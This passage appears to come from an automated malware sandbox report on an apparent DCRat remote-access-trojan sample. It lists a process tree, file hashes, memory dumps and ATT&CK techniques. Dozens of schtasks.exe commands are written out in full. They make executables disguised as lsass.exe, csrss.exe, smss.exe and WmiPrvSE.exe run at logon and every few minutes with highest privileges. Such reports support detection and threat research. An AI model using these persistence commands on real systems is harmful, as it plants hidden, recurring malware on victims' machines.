      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:624
    - - C:\Users\Admin\AppData\Local\Temp\bridgehypercomponentref\surrogatewin.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bridgehypercomponentref\surrogatewin.exe"
        5⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2044
      - C:\Users\Admin\AppData\Local\Temp\bridgehypercomponentref\surrogatewin.exe
        
        "C:\Users\Admin\AppData\Local\Temp\bridgehypercomponentref\surrogatewin.exe"
        6⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1032
        
        C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\csrss.exe
        
        "C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\csrss.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:1600

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1936

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Users\Default User\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1692

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 6 /tr "'C:\Recovery\3c6609c2-3a8b-11ef-9675-d685e2345d05\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Recovery\3c6609c2-3a8b-11ef-9675-d685e2345d05\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 5 /tr "'C:\Recovery\3c6609c2-3a8b-11ef-9675-d685e2345d05\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 10 /tr "'C:\Users\Default User\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2784

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Users\Default User\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 10 /tr "'C:\Program Files\7-Zip\taskhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2804

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhost" /sc ONLOGON /tr "'C:\Program Files\7-Zip\taskhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostt" /sc MINUTE /mo 11 /tr "'C:\Program Files\7-Zip\taskhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2544

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "PINGP" /sc MINUTE /mo 5 /tr "'C:\Program Files\Google\PING.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2600

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "PING" /sc ONLOGON /tr "'C:\Program Files\Google\PING.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2620

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "PINGP" /sc MINUTE /mo 14 /tr "'C:\Program Files\Google\PING.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'C:\Windows\Microsoft.NET\assembly\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\Microsoft.NET\assembly\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Windows\Microsoft.NET\assembly\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1812

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\Recovery\3c6609c2-3a8b-11ef-9675-d685e2345d05\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1140

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Recovery\3c6609c2-3a8b-11ef-9675-d685e2345d05\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\Recovery\3c6609c2-3a8b-11ef-9675-d685e2345d05\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:644

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "XClientX" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\XClient.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1300

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "XClient" /sc ONLOGON /tr "'C:\Users\All Users\XClient.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "XClientX" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\XClient.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OSPPSVCO" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\OSPPSVC.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OSPPSVC" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\OSPPSVC.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2192

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OSPPSVCO" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-00BA-0409-0000-0000000FF1CE}-C\OSPPSVC.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2332

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:236

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Templates\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2508

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\Default\Templates\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1492

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Templates\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:336

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 6 /tr "'C:\Windows\Setup\State\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1148

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Windows\Setup\State\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:544

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 14 /tr "'C:\Windows\Setup\State\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "PINGP" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Windows Sidebar\ja-JP\PING.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1096

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "PING" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\ja-JP\PING.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1792

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "PINGP" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Sidebar\ja-JP\PING.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\Windows\Fonts\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2532

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Windows\Fonts\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\Windows\Fonts\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2968

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OSPPSVCO" /sc MINUTE /mo 12 /tr "'C:\Recovery\3c6609c2-3a8b-11ef-9675-d685e2345d05\OSPPSVC.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OSPPSVC" /sc ONLOGON /tr "'C:\Recovery\3c6609c2-3a8b-11ef-9675-d685e2345d05\OSPPSVC.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2604

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OSPPSVCO" /sc MINUTE /mo 5 /tr "'C:\Recovery\3c6609c2-3a8b-11ef-9675-d685e2345d05\OSPPSVC.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2632

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\Recovery\3c6609c2-3a8b-11ef-9675-d685e2345d05\WmiPrvSE.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Recovery\3c6609c2-3a8b-11ef-9675-d685e2345d05\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 6 /tr "'C:\Recovery\3c6609c2-3a8b-11ef-9675-d685e2345d05\WmiPrvSE.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2424

C:\Windows\system32\taskeng.exe
taskeng.exe {80FBC88F-FE15-456F-984F-F0C331287BB2} S-1-5-21-3294248377-1418901787-4083263181-1000:FMEDFXFE\Admin:Interactive:[1]
1⤵
PID:2168
- C:\Users\Admin\AppData\Local\Temp\runtimebroken.exe
  C:\Users\Admin\AppData\Local\Temp\runtimebroken.exe
  2⤵
  - Executes dropped EXE
  PID:932
- C:\Users\Admin\AppData\Local\Temp\runtimebroken.exe
  C:\Users\Admin\AppData\Local\Temp\runtimebroken.exe
  2⤵
  - Executes dropped EXE
  PID:2240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe

Filesize
1.7MB

MD5
4296d05b7cbc2a5434fcbce0b223207a

SHA1
b9722fc0b88992a694ba9fda339589290e43c02e

SHA256
c8e0942be2254be75620a9985347888f94a848a238f6c1558848b42bc1d381f1

SHA512
0413160847169ebf9ddaa5081d1f5a0a6c04428186a8265151c81bd8ecc01dc4a80631de21a40acf03d53b90919331d6a15450476baeaa2f0b70a0857c464f04

Download Submit
C:\Users\Admin\AppData\Local\Temp\a95c5f8c0c9fdafde73f468d7eb299e6d67dd2954.5.3213a8cabc74659ad8d12b6886c1977463a29703e3

Filesize
944B

MD5
327cd6eb9bca7eeeaa99a027991df1bc

SHA1
f4e2cf9867fe659a7bd5f73b49048e32a9aa343a

SHA256
0ff7ec71983296d61f58707175b1f33e530e4934558c7836be0d758392924603

SHA512
316cb8be8284d893e8e53c47bf68beb8af8a758816fba33a94882f10c483b7c9e1d5caa3dde8d1c1c72c70cc6d990cb1c64c0bbc912a88d818839f5902179ab7

Download Submit
C:\Users\Admin\AppData\Local\Temp\bridgehypercomponentref\5wuflk5eGDg0JiUtQB.vbe

Filesize
230B

MD5
fb88e36782a5f55e36e02ff67da91cea

SHA1
a0fc273d88ade34a1da708ad049cc6ff0d94a940

SHA256
786d99584ff3356774ebbeb9cf60c0e926ef26fc8b673d771f774b7494fb11f6

SHA512
bc80fcc246a047f289cf714d13ff5a5ec00eae0583c597b666b06c9a5240c6b30f85415efc318af2e6406da98d37b4b344cc2c9f9e264948a822f3ad65a25f67

Download Submit
C:\Users\Admin\AppData\Local\Temp\bridgehypercomponentref\surrogatewin.exe

Filesize
1.4MB

MD5
20e7cb182292241f014bf6db7f6d66cb

SHA1
a79831502d62923c432e6af1a57922110a51cfb9

SHA256
6de0eaace2e3dbab84cffb0bca1f4a6ceffff3f365d5c22e76ebe36adbd3bfc7

SHA512
6c0d2c73e219cc256c4ef03a00afedd9183442ccdb5d2758eae9f537ac0df1118b287170ec7fabab16785eac256216e481576383d144b5a160ff6978a765697e

Download Submit
C:\Users\Admin\AppData\Local\Temp\bridgehypercomponentref\zjek1GJ52LhRCMyRfAhZF9WxGZ.bat

Filesize
49B

MD5
62da6e82dd863cf101ddefb852179c91

SHA1
3746be98f65363f882ade790b0c01be1b567eb94

SHA256
7aead51c224afd6a0cf70e0ce00d776de2689818a5b2725539f184feadf84dcf

SHA512
15862e2179b250fdf1f1d7c98c2d7859076d733598675ded5e0def5aa36c44062acae71c22a52ce500329da1dc5e3860d474bb9dca60d6b476bf2005fefc4d04

Download Submit
C:\Users\Admin\AppData\Local\Temp\nbClient.exe

Filesize
159KB

MD5
e549fad14348aca3370ada071cec4caa

SHA1
294999dde4423250a1a71d7f2645712b6c2506a5

SHA256
252b5235a50cc20edad06dc4e1f9befbac3f446a7f2b61994655430c9b89484f

SHA512
6addaf79cb078f34076d9b0a55ed672dc54f0d756d237a0c3eaed218ab037a1f888fda10515b356c39db492aa21ad7f10de7f694ffd42aa2b4d45bd7d15b98ed

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
a8628da5a9591027f2e2b356b119dd35

SHA1
712d0559f257ec952c9a034b4c7d51863462a936

SHA256
028bbc7fcc4b52e9fb74f3fbcdf968b4befe610b6ecbeacafe512c314c4383ab

SHA512
4f4bf95c69e90f27d38c24dabfac591182b79af366a525051425deaa5e4efee7beb59d874aa4bf48132999cc79f4fc00d7bbc6bd1cc3153676933ba429bf18ad

Download Submit
\Users\Admin\AppData\Local\Temp\XClient.exe

Filesize
75KB

MD5
462b4ff944b4c0a49a599bbf9b14ef07

SHA1
ca336da45ccfabe9768a91a1e86a3addd42855ac

SHA256
69c75fcc62bba3cdbfad6e0851fa249eb7ae0fbe1c50b16507dbb0573a2d6ae7

SHA512
64ca6271d23c0875abbecdf84d24d1b95387f54fd7e94396b537a32d0c400efe26af293f7aac519111bf2a7c87cd8b1bc57ee7f7bf12baa5f1fdf2991dd7986c

Download Submit
\Users\Admin\AppData\Local\Temp\dUmbral.exe

Filesize
232KB

MD5
4867d27de23cded5f2229c322bf6f3fe

SHA1
04cd16ac5d6a2f5b7bc1db8cdefd128d0f6c2fe1

SHA256
94357a5e0e0d52490a07fffd0a8940f7ffdf25acb16602d83120fc99722f88eb

SHA512
b7ced6d7a420c55813388755d765a015cb65c6393cdeffaff4be6cb7c00845434161a3282ce7d316800da42766d9c309487dc2e96b74340f47b20032632f8909

Download Submit
\Users\Admin\AppData\Local\Temp\sheetr.exe

Filesize
516KB

MD5
bb854fb457e4782e20586b2e873cc76e

SHA1
057f10ed64625edb33d95f6100096f9637ee1b15

SHA256
0785e1f0d682986903eed2d98b82c1e9eef3cf6592d584bf5024f54f50c83c42

SHA512
d90d1a26cc0d8e064e7f642f34b306b7cd299f5b6dd160d61e016d8448241c4ae0ce9382d477f8301c2205a2bd31a187f7ea5fdc4f149086b031bed715460524

Download Submit
memory/932-146-0x00000000011C0000-0x00000000011DA000-memory.dmp

Filesize
104KB

Download
memory/1032-110-0x0000000000AF0000-0x0000000000B02000-memory.dmp

Filesize
72KB

Download
memory/1504-59-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/1504-61-0x0000000002230000-0x0000000002238000-memory.dmp

Filesize
32KB

Download
memory/1600-142-0x0000000002080000-0x0000000002092000-memory.dmp

Filesize
72KB

Download
memory/1600-141-0x00000000008F0000-0x0000000000A6A000-memory.dmp

Filesize
1.5MB

Download
memory/2044-93-0x0000000000B00000-0x0000000000B0C000-memory.dmp

Filesize
48KB

Download
memory/2044-95-0x0000000000B10000-0x0000000000B1C000-memory.dmp

Filesize
48KB

Download
memory/2044-97-0x000000001AB20000-0x000000001AB2C000-memory.dmp

Filesize
48KB

Download
memory/2044-92-0x0000000000410000-0x0000000000418000-memory.dmp

Filesize
32KB

Download
memory/2044-91-0x00000000004B0000-0x00000000004C6000-memory.dmp

Filesize
88KB

Download
memory/2044-90-0x00000000003D0000-0x00000000003EC000-memory.dmp

Filesize
112KB

Download
memory/2044-94-0x00000000004D0000-0x00000000004E2000-memory.dmp

Filesize
72KB

Download
memory/2044-84-0x0000000001130000-0x00000000012AA000-memory.dmp

Filesize
1.5MB

Download
memory/2044-96-0x000000001A740000-0x000000001A74E000-memory.dmp

Filesize
56KB

Download
memory/2116-74-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/2232-37-0x0000000000AD0000-0x0000000000B10000-memory.dmp

Filesize
256KB

Download
memory/2240-149-0x0000000000050000-0x000000000006A000-memory.dmp

Filesize
104KB

Download
memory/2364-36-0x0000000000D20000-0x0000000000D3A000-memory.dmp

Filesize
104KB

Download
memory/2452-53-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2452-52-0x000000001B8B0000-0x000000001BB92000-memory.dmp

Filesize
2.9MB

Download
memory/2932-38-0x0000000000F40000-0x0000000000FC8000-memory.dmp

Filesize
544KB

Download